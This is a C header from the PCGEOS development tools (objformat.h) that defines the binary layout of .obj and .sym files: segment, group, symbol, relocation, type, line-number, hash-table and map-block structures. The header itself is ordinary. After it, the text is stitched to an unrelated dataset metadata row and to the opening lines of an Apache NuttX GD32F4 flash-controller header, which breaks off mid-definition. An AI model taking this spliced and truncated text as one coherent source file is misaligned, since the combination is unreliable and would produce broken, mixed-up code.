/*********************************************************************** * PROJECT: PCGEOS * MODULE: Swat/Esp/Glue -- interface definitions * FILE: objformat.h * * AUTHOR: Adam de Boor: June 13, 1989 * * REVISION HISTORY: * Date Name Description * ---- ---- ----------- * 6/13/89 ardeb Initial version * * DESCRIPTION: * Definitions for the interface between Esp, Glue and Swat. * These definitions govern two types of files: .obj (relocatable * object files, as produced by Esp) and .sym (symbol files, as produced * by Glue. The two files are essentially the same, except the .sym * file contains no object code -- just symbols. * * All binary things, other than the object code itself, are written * in the byte-order of the creating machine. The byte-order is recorded * in the header of the file and is dealt with by Glue and Swat, * if the file is taken to a machine with a different byte-order. * More things are in binary than I'd originally intended, as I * decided the taking of a binary from one byte-order machine to * another would be relatively infrequent. * * There are several goals for this file format: * - Compact * - Easy to generate * - Fast to link * - Symbol table must be modular so Swat can read it in in pieces * - Similar (if not identical) to OS90 VM file to allow * easy conversion, or simple copying, to the OS90 debug * environment, when it gets going. * * Due to the segmented architecture, the file itself is segmented. * * $Id: objfmt.h,v 1.2 1996/09/19 03:30:33 jacob Exp $ * ***********************************************************************/ #ifndef _OBJFORMAT_H_ #define _OBJFORMAT_H_ #include <vm.h> #include <st.h> /* * Get a pointer to the first entry in a block headed by the structure * *(basePtr). eltType is the structure type of each element in the array * following the header. */ #if defined(__GNUC__) # define ObjFirstEntry(basePtr,eltType) \ ((eltType *)((void *)(basePtr) + sizeof(*(basePtr)))) #else # define ObjFirstEntry(basePtr,eltType) \ ((eltType *)((char *)(basePtr) + sizeof(*(basePtr)))) #endif /* * Return the number of bytes between the two pointers. */ #if defined(__GNUC__) # define ObjEntryOffset(eltPtr,basePtr) \ ((void *)(eltPtr) - (void *)(basePtr)) #else # define ObjEntryOffset(eltPtr,basePtr) \ ((char *)(eltPtr) - (char *)(basePtr)) #endif /****************************************************************************** * * SEGMENT DESCRIPTOR * ******************************************************************************/ typedef struct { ID name; /* Segment name */ ID class; /* Segment class */ unsigned short align:8, /* Alignment (mask of bits to clear) */ type:4, /* Segment type: */ #define SEG_PRIVATE 0 /* Private to object module. MUST BE ZERO*/ #define SEG_COMMON 1 /* Overlap all instances */ #define SEG_STACK 2 /* Stack segment for DOS executable */ #define SEG_LIBRARY 3 /* Library definitions, only */ #define SEG_RESOURCE 4 /* Resource segment to be handled by * kernel */ #define SEG_LMEM 5 /* Same, but with LMem heap */ #define SEG_PUBLIC 6 /* Segments from object modules follow * each other */ #define SEG_ABSOLUTE 7 /* Absolute segment (data field contains * segment address, not handle of data) */ #define SEG_GLOBAL 8 /* Global scope -- no data, just symbols */ flags:4; /* Flags for segment */ #define SEG_IN_DGROUP 1 /* Part of the dgroup resource */ #define SEG_IN_GROUP 2 /* In any group */ VMBlockHandle data; /* Block in which data are stored/absolute * segment address if SEG_ABSOLUTE */ word size; /* Number of bytes of data (size of VMBlock * cannot be relied on) */ VMBlockHandle relHead; /* First block of relocations */ VMBlockHandle syms; /* Symbols for segment. this is just a chain * of blocks. */ VMBlockHandle toc; /* Table of contents for the symbols. This is * zero in a .obj file */ VMBlockHandle addrMap; /* Block containing the by-address map for the * symbol table. This is zero in a .obj file */ VMBlockHandle lines; /* map block for the line number -> address * mapping */ } ObjSegment; /****************************************************************************** * * GROUP DESCRIPTOR * *****************************************************************************/ typedef struct { ID name; /* Name of group */ unsigned short numSegs; /* Number of segments in the group */ unsigned short pad; /* So sizeof(ObjGroup) doesn't return * misleading value... */ unsigned short segs[LABEL_IN_STRUCT]; /* Start of array of segment * offsets - note there isn't * a label in this struct */ } ObjGroup; /* * OBJ_GROUP_SIZE gives the size, in bytes, required for an ObjGroup descriptor * containing n segments. * OBJ_NEXT_GROUP returns a pointer to the Group descriptor after g, which * is a pointer to an initialized group descriptor. */ #define OBJ_GROUP_SIZE(n) ((sizeof(ObjGroup)+((n)*sizeof(unsigned short))+3)&~3) #define OBJ_NEXT_GROUP(g) (ObjGroup *)((char *)(g)+OBJ_GROUP_SIZE((g)->numSegs)) /****************************************************************************** * * SYMBOL TABLE DEFINITIONS * ******************************************************************************/ typedef struct { VMBlockHandle next; VMBlockHandle types; unsigned short seg; /* Offset in map block of segment owning these * symbols */ unsigned short num; /* Number of symbols in the block. This can't * be determined from the block size always as * the kernel likes to round allocations to a * paragraph boundary */ } ObjSymHeader; /* * Symbol definition. The reason the per-type data comes before the * actual type and flags is to avoid excessive padding by the compiler. * Even though I made sure things were properly aligned, the compiler * decided I was wrong and added extra space, making the object files * incompatible between architectures, which isn't good. */ typedef unsigned short SID[2]; /* Gross fake ID needed to keep compiler from * mis-aligning things on anal-retentive * processors like the Sparc. We guarantee that * longword fields are longword-aligned, so * an ID can safely be stored in the field. * To make life simple, there are macros * for fetching and storing these things, * as the syntax is a bit gross. */ typedef struct { ID name; /* Pointer to name in string table */ union { /* * General form for all symbols. */ struct { unsigned short data[3]; /* Three words of type-specific data */ } genSym; /* * General form for symbols with actual addresses */ struct { unsigned short pad[2]; /* Type-specific data */ unsigned short address; /* Address w/in segment */ } addrSym; /* * General form for symbols that have other symbols within their * scope. This includes structured types, procedures, and block-start * symbols. */ struct { unsigned short pad1; /* Type-specific data */ unsigned short first; /* Head of symbols in the scope */ unsigned short pad2; /* Type-specific data */ } scope; /* * Type definition. Created via * <name> type <typedesc> */ struct { unsigned short type; /* Start of type description */ } typeDef; /* * Structured type (struc, union, record or enum) */ struct { unsigned short size; /* Total size of type */ unsigned short first; /* Offset of first field in type in * this block */ unsigned short last; /* Offset of last field in type */ } sType; /* * An element of one of the above. */ struct { unsigned short next; unsigned short pad[2]; } tField; /* * Field in a structure (possibly an instance variable) */ struct { unsigned short next; /* Next field in type */ unsigned short offset; /* Byte offset w/in structure */ unsigned short type; /* Type of field */ } sField; /* * Field in a record */ struct { unsigned short next; /* Next field in type */ unsigned char offset; /* Bit offset w/in record */ unsigned char width; /* Bit width of field */ unsigned short type; /* Type of field */ } bField; /* * Method number */ struct { unsigned short next; /* Next member in enumerated type */ unsigned short value; /* Value of method constant */ unsigned short flags; /* Flags concerning method: */ #define OSYM_METH_PUBLIC 0x0001 /* Publicly available */ #define OSYM_METH_RANGE 0x0002 /* Start of an exported range */ #define OSYM_METH_RANGE_LENGTH 0xfffc /* # exported messages in range */ #define OSYM_METH_RANGE_LENGTH_OFFSET 2 } method; /* * Enumerated constant */ struct { unsigned short next; /* Next member of enumerated type */ unsigned short value; /* Value of enumerated constant */ } eField; /* * Enumerated constant in object-class vardata enum */ struct { unsigned short next; /* Next member of enumerated type */ unsigned short value; /* Value of enumerated constant */ unsigned short type; /* Type of data stored with tag */ } varData; /* * Unenumerated, named constant */ struct { unsigned short value; /* Value of constant */ } constant; /* * Static variable */ struct { unsigned short type; /* Type of variable */ unsigned short pad; unsigned short address; /* Offset w/in segment */ } variable; /* * Variable in LMem chunk */ struct { unsigned short type; /* Type of data in chunk */ unsigned short pad; unsigned short handle; /* LMem handle of chunk */ } chunk; /* * Procedure */ struct { unsigned short flags; /* Flags for procedure */ #define OSYM_NEAR 0x0001 /* Procedure is NEAR */ #define OSYM_WEIRD 0x0002 /* Procedure contains at least one * on_stack */ #define OSYM_NO_JMP 0x0004 /* Procedure may not be jumped to */ #define OSYM_NO_CALL 0x0008 /* Procedure may not be called * (only jumped to) */ #define OSYM_PROC_STATIC 0x0010 /* Static method handler */ #define OSYM_PROC_PSTATIC 0x0020 /* Private static method handler */ #define OSYM_PROC_DYNAMIC 0x0040 /* Dynamic method handler */ #define OSYM_PROC_HANDLER 0x0080 /* Method handler */ #define OSYM_PROC_PASCAL 0x0100 /* Pascal calling convention */ #define OSYM_PROC_PUBLISHED 0x0200 /* Set if routine is to be copied into the .ldf file */ unsigned short local; /* Offset w/in block of first local * symbol */ unsigned short address; /* Offset w/in segment */ } proc; #define OSYM_PROC_START_NAME "??START" /* Name of local label pointing to * the end of the procedure * prologue */ /* * Non-local label (local label is the same, except it uses the * procLocal.next field as well) */ struct { unsigned short pad; #if defined(_MSC_VER) || defined(__WATCOMC__) # define near nearFlag #endif /* defined _MSC_VER */ unsigned short near; /* Non-zero if label near */ unsigned short address; /* Offset w/in segment */ } label; /* * Stack layout descriptor */ struct { SID desc; /* Pointer to string containing * stack layout */ unsigned short address; /* Offset w/in segment */ } onStack; /* * General form for procedure-local symbols (for list traversal) */ struct { unsigned short next; /* Offset of next symbol in block */ unsigned short pad[2]; /* Type-specific data */ } procLocal; /* * Local variable */ struct { unsigned short next; /* Next in chain */ unsigned short type; /* Type of variable */ short offset; /* Offset from BP for variable, or * register number if OSYM_REGVAR: */ #define OSYM_REG_AX 0 #define OSYM_REG_BX 3 #define OSYM_REG_CX 1 #define OSYM_REG_DX 2 #define OSYM_REG_SP 4 #define OSYM_REG_BP 5 #define OSYM_REG_SI 6 #define OSYM_REG_DI 7 #define OSYM_REG_ES 8 #define OSYM_REG_CS 9 #define OSYM_REG_SS 10 #define OSYM_REG_DS 11 #define OSYM_REG_AL 12 #define OSYM_REG_BL 15 #define OSYM_REG_CL 13 #define OSYM_REG_DL 14 #define OSYM_REG_AH 16 #define OSYM_REG_BH 19 #define OSYM_REG_CH 17 #define OSYM_REG_DH 18 } localVar; /* * Local static variable (defined in a different segment, but its * name is available only within the procedure) */ struct { unsigned short next; /* Next in chain */ VMBlockHandle symBlock; /* Block in which OSYM_VAR symbol is * located */ unsigned short symOff; /* Offset at which symbol is located * within the block */ } localStatic; /* * Lexical block start */ struct { unsigned short next; /* Next procedure-local symbol (s/b * end block) */ unsigned short local; /* First symbol local to block */ unsigned short address; /* Offset w/in segment of start */ } blockStart; struct { unsigned short next; unsigned short pad; unsigned short address; } blockEnd; /* * Class symbol. Bindings follow immediately after. First non-binding * symbol ends binding list... */ struct { SID super; /* Name of superclass */ unsigned short address; /* Offset w/in segment */ } class; /* * Method -> Procedure binding for dealing with static method binding. */ struct { SID proc; /* Name of bound procedure */ byte callType; /* One of the following: */ #define OSYM_DYNAMIC 0 /* Method must be called * dynamically (by a message) */ #define OSYM_DYNAMIC_CALLABLE 1 /* Method may be called by a message * or directly */ #define OSYM_STATIC 2 /* Method may always be called * staticly */ #define OSYM_PRIVSTATIC 3 /* Method may only be called * staticly from within the geode * that defines the handler. The * difference is noted only when * creating a library's ldf file */ byte isLast; /* Non-zero if this is the last binding * for the class */ } binding; /* * Library-defined type. */ struct { unsigned short offset; /* Place to store offset of actual * type symbol w/in block */ VMBlockHandle block; /* Place to store block containing * actual type symbol */ unsigned char stype; /* Expected symbol type */ } extType; /* * Module. Placed only in the global segment in a .sym file for * Swat's sake. */ struct { VMBlockHandle table; /* Handle of symbol table */ unsigned short offset; /* Offset of segment descriptor * for module */ VMBlockHandle syms; /* List of symbols for the segment */ } module; /* * Minor-number marker. Used only in .ldf files, it indicates the minor * protocol number that should be used in the imported library table * for a client geode when any of the entry points that follow is used * by the client. */ struct { word number; /* The minor number */ } newMinor; /* * Profile-code marker. */ struct { word markType; #define OSYM_PROF_BBLOCK 1 /* Basic-block coverage */ #define OSYM_PROF_COUNT 2 /* Execution counter */ word pad; word address; /* Address w/in segment */ } profMark; } u; unsigned char type; /* Type of symbol: */ #define OSYM_TYPEDEF 1 /* Typedef */ #define OSYM_STRUCT 2 /* Structure */ #define OSYM_RECORD 3 /* Record */ #define OSYM_ETYPE 4 /* Enumerated type (may hold methods) */ #define OSYM_FIELD 5 /* Structure field */ #define OSYM_BITFIELD 6 /* Record field */ #define OSYM_ENUM 7 /* Member of enumerated type */ #define OSYM_METHOD 8 /* Method number */ #define OSYM_CONST 9 /* Named constant */ #define OSYM_VAR 10 /* Static variable */ #define OSYM_CHUNK 11 /* LMem chunk */ #define OSYM_PROC 12 /* Procedure */ #define OSYM_LABEL 13 /* File-global label */ #define OSYM_LOCLABEL 14 /* Procedure-local label */ #define OSYM_LOCVAR 15 /* Procedure-local variable (stack) */ #define OSYM_ONSTACK 16 /* Stack layout descriptor */ #define OSYM_BLOCKSTART 17 /* Lexical block start (H.L.L. only) */ #define OSYM_BLOCKEND 18 /* Lexical block end (H.L.L. only) */ #define OSYM_EXTTYPE 19 /* External type (actual type defined in * a library somewhere...) */ #define OSYM_CLASS 20 /* Object class */ #define OSYM_MASTER_CLASS 22 /* Master object class */ #define OSYM_VARIANT_CLASS 23 /* Variant object class */ #define OSYM_BINDING 24 /* Method -> Procedure binding. Name * is method, data contains procedure */ #define OSYM_MODULE 25 /* Module descriptor (.sym file only) */ #define OSYM_UNION 26 /* Union type */ #define OSYM_REGVAR 27 /* Procedure-local variable (register). * Uses localVar data. .offset is one of * the OSYM_REG_* constants */ #define OSYM_PROFILE_MARK 28 /* Nameless address-bearing symbol that * marks a profiling location for Swat */ #define OSYM_RETURN_TYPE 29 /* Symbol holding the return type of a * procedure. Linked into the local-symbol * list for the proc. Same data as a * LOCALVAR */ #define OSYM_LOCAL_STATIC 30 /* Pointer to VAR symbol for a variable * that is static to a procedure */ #define OSYM_VARDATA 31 /* Element of object-class VarData * enumerated type */ #define OSYM_NEWMINOR 32 /* A marker indicating the minor protocol * number that should be used in the * imported library table for a client * geode when any of the entry points that * follow are used by the client */ #define OSYM_PROTOMINOR 33 unsigned char flags; /* Flags for symbol: */ #define OSYM_GLOBAL 0x01 /* Global to program */ #define OSYM_UNDEF 0x02 /* Undefined in segment -- placeholder */ #define OSYM_REF 0x04 /* Symbol referenced during assembly */ #define OSYM_ENTRY 0x08 /* Symbol actually a library entry point. * This is found exclusively in .ldf files * and is used, for the most part, when * handling an ENTRY relocation so the * linker knows it needn't go searching * through the geode's own export table */ #define OSYM_MOVABLE 0x10 /* Symbol lies in a movable segment. Used * only in .ldf files to detect jumps to * movable library routines. */ #define OSYM_NAMELESS 0x20 /* Symbol name should not be printed */ #define OSYM_MANGLED 0x40 /* Symbol name has been mangled. Unmangle * as appropriate */ } ObjSym; /* * Since an SID is an array, using it yields a pointer, which we cast to be * a pointer to an ID, which is what's actually stored there. */ #define OBJ_STORE_SID(field,value) (*(ID *)(field) = (value)) #define OBJ_FETCH_SID(field) (*(ID *)(field)) /****************************************************************************** * * RELOCATION DATA * ******************************************************************************/ typedef struct { VMBlockHandle next; /* Next block in chain */ unsigned short num; /* Number of relocations in the block */ } ObjRelHeader; typedef struct { unsigned short symOff; /* Offset of symbol w.r.t. which the relocation * is to take place */ VMBlockHandle symBlock; /* Block in which symbol resides */ unsigned short offset; /* Offset in segment for relocation */ unsigned short frame; /* Offset in map block of segment/group * descriptor w.r.t. which relocation is to * take place */ unsigned short type:4, /* Type of relocation */ #define OREL_LOW 0 /* Low part of offset */ #define OREL_HIGH 1 /* High part of offset */ #define OREL_OFFSET 2 /* Full offset */ #define OREL_SEGMENT 3 /* Physical segment */ #define OREL_HANDLE 4 /* Handle of segment */ #define OREL_RESID 5 /* Resource ID of segment */ #define OREL_CALL 6 /* Far call */ #define OREL_ENTRY 7 /* Library entry point # */ #define OREL_METHCALL 8 /* Static method call to object of * class given by symBlock:symOff */ #define OREL_SUPERCALL 9 /* Static method call, but class is * superclass of that of the object */ #define OREL_PROTOMINOR 10 /* ProtoMinor type relocation */ size:2, /* Size of data to relocate */ #define OREL_SIZE_BYTE 0 #define OREL_SIZE_WORD 1 #define OREL_SIZE_DWORD 2 pcrel:1, /* Relocation relative to addr after data */ fixed:1, /* Target must lie in a fixed segment. */ unused:8; /* Pad to word boundary */ } ObjRel; /****************************************************************************** * * BLOCK IDENTIFIERS FOR OBJECT BLOCKS * * so we know how to byteswap them.... ******************************************************************************/ #define OID_STRING_HEAD ST_HEADER_ID #define OID_STRING_CHAIN ST_CHAIN_ID #define OID_REL_BLOCK OID_STRING_CHAIN+1 /* ObjRels */ #define OID_SYM_BLOCK OID_REL_BLOCK+1 /* ObjSyms */ #define OID_HASH_BLOCK OID_SYM_BLOCK+1 /* ObjSym hash table */ #define OID_HASH_HEAD_BLOCK OID_HASH_BLOCK+1 /* Head of ObjSym hash table */ #define OID_MAP_BLOCK OID_HASH_HEAD_BLOCK+1/* Map block for file */ #define OID_CODE_BLOCK OID_MAP_BLOCK+1 /* Code for segment */ #define OID_TYPE_BLOCK OID_CODE_BLOCK+1 /* Type descriptions */ #define OID_LINE_BLOCK OID_TYPE_BLOCK+1 /* Line number info */ #define OID_ADDR_MAP OID_LINE_BLOCK+1 /* Address map for a segment */ #define OID_SRC_BLOCK OID_ADDR_MAP+1 /* Source file mapping */ /****************************************************************************** * * TYPE DESCRIPTORS * * This relies on elements in symbol blocks being word-aligned, allowing us to * use the lowest bit to indicate if the word is a block offset or it's a * special code. ******************************************************************************/ #define OTYPE_SPECIAL 0x0001 /* Set if type token is special */ /* * For special tokens, the high byte holds the token type, bits 1-12 * ("the low byte"), holds additional info. */ #define OTYPE_INT 0x1000 /* Low byte contains size */ #define OTYPE_SIGNED 0x2000 /* Low byte contains size */ #define OTYPE_NEAR 0x3000 /* Low byte is meaningless */ #define OTYPE_FAR 0x4000 /* Low byte is meaningless */ #define OTYPE_CHAR 0x5000 /* Low byte contains size-1 */ #define OTYPE_VOID 0x6000 /* Low byte is meaningless */ #define OTYPE_PTR 0x7000 /* For void *, the low byte contains the * pointer type */ #define OTYPE_PTR_FAR ('f'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_NEAR ('n'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_LMEM ('l'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_HANDLE ('h'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_SEG ('s'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_OBJ ('o'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_VM ('v'<<OTYPE_DATA_SHIFT) #define OTYPE_PTR_VIRTUAL ('F'<<OTYPE_DATA_SHIFT) #define OTYPE_BITFIELD 0x8000 /* Bitfields w/o special type. Low byte * holds 5 bits of offset, 5 bits of * width (0-origin), and 1 bit to say * if it's signed or unsigned. */ #define OTYPE_BF_WIDTH 0x003e /* Bits holding width of a bitfield */ #define OTYPE_BF_WIDTH_SHIFT 1 #define OTYPE_BF_OFFSET 0x07c0 /* Bits holding offset of a bitfield */ #define OTYPE_BF_OFFSET_SHIFT 6 #define OTYPE_BF_SIGNED 0x0800 #define OTYPE_FLOAT 0x9000 /* Low byte contains size */ #define OTYPE_COMPLEX 0xa000 /* Low byte contains size */ #define OTYPE_CURRENCY 0xb000 /* What the hell is this? */ #define OTYPE_TYPE 0xf000 /* Bits that contain type */ #define OTYPE_DATA 0x0ffe /* Bits that contain the data for the type */ #define OTYPE_DATA_SHIFT 1 /* * Macros to create a word for a special type. */ #define OTYPE_MAKE_INT(size) (OTYPE_INT | \ ((size) << OTYPE_DATA_SHIFT) | \ OTYPE_SPECIAL) #define OTYPE_MAKE_SIGNED(size) (OTYPE_SIGNED | \ ((size) << OTYPE_DATA_SHIFT) | \ OTYPE_SPECIAL) #define OTYPE_MAKE_NEAR() (OTYPE_NEAR | OTYPE_SPECIAL) #define OTYPE_MAKE_FAR() (OTYPE_FAR | OTYPE_SPECIAL) #define OTYPE_MAKE_CHAR(size) (OTYPE_CHAR | \ ((size-1) << OTYPE_DATA_SHIFT) | \ OTYPE_SPECIAL) #define OTYPE_MAKE_VOID() (OTYPE_VOID | OTYPE_SPECIAL) #define OTYPE_MAKE_VOID_PTR(pt) (OTYPE_PTR | (pt) | OTYPE_SPECIAL) #define OTYPE_MAKE_BITFIELD(w,o) (OTYPE_BITFIELD | \ ((w) << OTYPE_BF_WIDTH_SHIFT) | \ ((o) << OTYPE_BF_OFFSET_SHIFT) | \ OTYPE_SPECIAL) #define OTYPE_MAKE_FLOAT(size) (OTYPE_FLOAT | \ ((size) << OTYPE_DATA_SHIFT) | \ OTYPE_SPECIAL) #define OTYPE_MAKE_COMPLEX(size) (OTYPE_COMPLEX | \ ((size) << OTYPE_DATA_SHIFT) | \ OTYPE_SPECIAL) #define OTYPE_MAKE_CURRENCY() (OTYPE_CURRENCY | OTYPE_SPECIAL) /* * For non-special tokens, the word is an offset to a two-word structure, * the first word of which describes the type of type, while the second word * contains additional info. This additional structure is required only for * arrays, structured types (structs, enums, records, or typedefs) and * pointers to non-void types. * * Again, we take advantage of the word-alignment of things in the symbol * table. * * For structured types, the two words are simply the identifier for the * structured type. This allows us to handle mutually referential types * gracefully (we needn't define a bogus "external" type as a forward * reference -- we've just got the name and when the base type of the * pointer is required, we can find it by name). * * For a pointer type, the lowest bit is set, with bits 1-7 giving the * type of pointer, as for the special token, above. The second word is * a type token/offset as above. * * For an array type, both the LSB and the MSB of the initial word are * set (the LSB indicates it's not a structured type and the MSB indicates * it's not a pointer). Bits 1-14 contain the number of elements in the array * and the second word contains a type token/offset describing the elements. * * NOTE: It is important that these records be four bytes long, as the * symbol table elements must actually be longword aligned to avoid * memory faults on the Sparc and other processors that are anal retentive * about memory accesses. */ typedef struct { unsigned short num; /* Number of descriptors in the block */ unsigned short pad; /* To ensure longword alignment of descriptors */ } ObjTypeHeader; #define OTYPE_IS_STRUCT(w) (((w) & 1) == 0) #define OTYPE_STRUCT_ID(tp) (((tp)->words[1] << 16) | ((tp)->words[0])) #define OTYPE_ID_TO_STRUCT(id,tp) (((tp)->words[0] = (id)), ((tp)->words[1] = ((id)>>16))) #define OTYPE_IS_PTR(w) (((w) & 0x8001) == 1) #define OTYPE_PTR_TYPE(w) (((w) & 0xfe) >> 1) #define OTYPE_IS_ARRAY(w) (((w) & 0x8001) == 0x8001) #define OTYPE_ARRAY_LEN(w) (((w) & 0x7ffe) >> 1) #define OTYPE_MAX_ARRAY_LEN 0x3ffe #define OTYPE_MAKE_ARRAY(len) (0x8001 | ((len) << 1)) typedef struct { unsigned short words[2]; } ObjType; /****************************************************************************** * * LINE NUMBER INFORMATION * * The address -> line mapping for a segment is made of a series of two-word * records, containing the line number and starting address, interspersed with * records containing the name of the file to which the following records * refer. A filename record is set off from the preceding line number records * by a line number record whose line number is 0. * * The use of four-byte records is necessitated by the filename being a * longword identifier that the Sparc cannot fetch from a non-longword * boundary. The number of transitions in a typical table will be small, * in any case, so the space matters little. * * Overlooking the entire list of line numbers is an address map of the same * format as that stored for the address symbols of a segment (q.v. * ObjAddrMapHeader and ObjAddrMapEntry, below). This allows us to find the * line block we need without having to bring in the entire chain. ******************************************************************************/ typedef struct { VMBlockHandle next; /* Next block in chain */ unsigned short num; /* Number of lines in the block */ } ObjLineHeader; typedef struct { unsigned short line; /* Line number */ unsigned short offset; /* Segment offset of start */ } ObjLine; /****************************************************************************** * * INITIAL SIZES * * for various types of blocks in output file. ******************************************************************************/ #define OBJ_INIT_TYPES 6144 /* 6K -- should keep us under 8K */ #define OBJ_MAX_TYPES 8192 #define OBJ_MAX_SYMS 8192 /* 682 symbols + header */ #define OBJ_INIT_LINES 8192 /* Nice, round number */ #define OBJ_MAX_HASH 8192 #define OBJ_INIT_SRC_MAP 6144 #define OBJ_MAX_SRC_MAP 8192 /****************************************************************************** * * HASH TABLE DEFINITIONS * * A symbol table is made of two types of blocks: * - blocks containing OBJ_SYMS_PER 8-byte records that give the * name (as an ID) and address (block/offset pair) of a symbol. These * blocks are chained together through a four-byte header to form * a series of chains. * - a header block that contains the chain pointers for the table. * A symbol is assigned to a chain based on the index returned by the ST * module for its ID. * * This hash table structure is also used for the file:line -> segment:offset * mapping... ******************************************************************************/ #define OBJ_HASH_CHAINS 127 /* Number of chains in a symbol hash table */ #define OBJ_SYMS_PER 64 /* Number of symbols per hash table block */ /* new values so it can work reasonable well under GEOS */ #define OBJ_HASH_CHAINS_NEW_FORMAT 5 #define OBJ_SYMS_PER_NEW_FORMAT 1024 typedef struct { VMBlockHandle chains[OBJ_HASH_CHAINS]; } ObjHashHeader; typedef struct { VMBlockHandle chains[OBJ_HASH_CHAINS_NEW_FORMAT]; } ObjHashHeaderNewFormat; typedef struct { ID name; /* Symbol name */ word offset; /* Offset w/in block */ VMBlockHandle block; /* Block containing symbol data */ } ObjHashEntry; typedef struct { VMBlockHandle next; /* Next HashBlock in chain */ word nextEnt; /* Index of next available entry in this * block */ ObjHashEntry entries[OBJ_SYMS_PER]; } ObjHashBlock; typedef struct { VMBlockHandle next; /* Next HashBlock in chain */ word nextEnt; /* Index of next available entry in this * block */ ObjHashEntry entries[OBJ_SYMS_PER_NEW_FORMAT]; } ObjHashBlockNewFormat; /****************************************************************************** * * SEGMENT ADDRESS MAP * * Each segment descriptor in a .sym file has associated with it an * address map that maps offsets in the segment to symbol blocks. Each * entry in the map contains a block and the offset of the last * address-bearing symbol in that block, allowing a fast binary search * of the map to locate a desired symbol. * * This same format is used for the line address map as well. ******************************************************************************/ typedef struct { word numEntries; /* Number of entries in the map */ } ObjAddrMapHeader; typedef struct { VMBlockHandle block; /* Block with the symbols */ word last; /* Segment offset of last */ } ObjAddrMapEntry; /****************************************************************************** * * SOURCE FILE MAP * * A .sym file contains an extra hash table (beyond the ones used for symbol * lookup in each segment) that is keyed off source file names. The VMPtr * stored as the data for each entry points to an ObjSrcMapHeader, which * header is followed by an array of ObjSrcMap structures to make determining * a segment and offset from a source file/line number pair fast. * * There's a difference between an ObjSrcMapHeader and other *Header structures, * however: there can be more than one ObjSrcMap array in a single block. * * The idea is, a group of lines will be in a single segment (e.g. all the lines * of a function lie within the same segment), so one can have a map sorted by * ascending line numbers giving the segment in which the first line is defined, * and the offset of that line within the segment. Once the search has narrowed * to a particular starting line and offset, it's a simple matter of finding the * line number block with that line and searching forward to find the offset of * the line in question. * ******************************************************************************/ typedef struct { word numEntries; /* Number of entries in the map */ } ObjSrcMapHeader; typedef struct { word line; /* Starting line number */ word offset; /* Offset of that line in the segment */ word segment; /* Offset of ObjSegment descriptor in * the ObjHeader */ } ObjSrcMap; /****************************************************************************** * * MAP BLOCK HEADER * ******************************************************************************/ /* * Protocol numbers stored in the header of a VM-format object file. */ #define OBJ_PROTOCOL_MAJOR 5 #define OBJ_PROTOCOL_MINOR 2 #define OBJ_OBJTOKEN "POBJ" /* File token for VM-format objects */ #define OBJ_SYMTOKEN "PSYM" /* File token for final symbol files */ /* * Interface protocol revision number (for libraries, mostly) */ typedef struct { word major; word minor; } ObjProto; /* * Geode revision number. */ typedef struct { word major; /* Major release number */ word minor; /* Minor release number */ word change; /* Running-change number (between minor/major * releases) */ word internal; /* Internal revision number (changed each * install) */ } ObjRevision; /* * Header for map block. Header is followed by segment and group descriptors */ #define OBJMAGIC 0x5170 /* Magic number. Stored in native byte * order. If reader must swap to be valid, * other parts of file must be swapped */ #define SWOBJMAGIC 0x7051 /* Opposite byte-order... */ #define OBJMAGIC_NEW_FORMAT 0x6170 #define SWOBJMAGIC_NEW_FORMAT 0x7061 typedef struct { unsigned short magic; /* Magic number */ unsigned short numSeg; /* Number of segments */ unsigned short numGrp; /* Number of groups */ VMBlockHandle strings; /* String table for file */ VMBlockHandle srcMap; /* Hash table for source file->offset * mapping */ ObjRel entry; /* Relocation for entry point, if it's in this * object file */ ObjRevision rev; /* Revision number (.sym and .ldf only) */ ObjProto proto; /* Protocol number (.sym and .ldf only) */ long pad; /* (Padding for Sparc and because I forgot * to remove this when I added "strings") */ ObjSegment segments[LABEL_IN_STRUCT]; /* Start of segment * information (forces proper * padding of structure...) */ } ObjHeader; #endif /* _OBJFORMAT_H_ */
5da3807921fb263c6fc3a5b944f7f67f92d0bfbf
aa3befea459382dc5c01c925653d54f435b3fb0f
/arch/arm/src/gd32f4/hardware/gd32f4xx_fmc.h
cf3ba1b0fcf6e227a837d15e1c7e7023f21d011e
[ "MIT-open-group", "BSD-3-Clause", "HPND-sell-variant", "BSD-4-Clause-UC", "LicenseRef-scancode-warranty-disclaimer", "MIT-0", "LicenseRef-scancode-bsd-atmel", "LicenseRef-scancode-gary-s-brown", "LicenseRef-scancode-proprietary-license", "SunPro", "MIT", "LicenseRef-scancode-public-domain-disclaimer", "LicenseRef-scancode-other-permissive", "HPND", "ISC", "Apache-2.0", "LicenseRef-scancode-public-domain", "BSD-2-Clause", "GPL-1.0-or-later", "CC-BY-2.0", "CC-BY-4.0" ]
permissive
apache/nuttx
14519a7bff4a87935d94fb8fb2b19edb501c7cec
606b6d9310fb25c7d92c6f95bf61737e3c79fa0f
refs/heads/master
2023-08-25T06:55:45.822534
2023-08-23T16:03:31
2023-08-24T21:25:47
228,103,273
407
241
Apache-2.0
2023-09-14T18:26:05
2019-12-14T23:27:55
C
UTF-8
C
false
false
21,565
h
gd32f4xx_fmc.h
/**************************************************************************** * arch/arm/src/gd32f4/hardware/gd32f4xx_fmc.h * * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. The * ASF licenses this file to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance with the * License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the * License for the specific language governing permissions and limitations * under the License. * ****************************************************************************/ #ifndef __ARCH_ARM_SRC_GD32F4_HARDWARE_GD32F4XX_FMC_H #define __ARCH_ARM_SRC_GD32F4_HARDWARE_GD32F4XX_FMC_H /**************************************************************************** * Pre-processor Definitions ****************************************************************************/ #define _K(x) ((x)*1024) #if !defined(CONFIG_GD32F4_FLASH_CONFIG_DEFAULT) && \ !defined(CONFIG_GD32F4_FLASH_CONFIG_E) && \ !defined(CONFIG_GD32F4_FLASH_CONFIG_F) && \ !defined(CONFIG_GD32F4_FLASH_CONFIG_I) && \ !defined(CONFIG_GD32F4_FLASH_CONFIG_K) # define CONFIG_GD32F4_FLASH_CONFIG_DEFAULT #endif /* Flash default size is 512K */ #if defined(CONFIG_GD32F4_FLASH_CONFIG_DEFAULT) # define 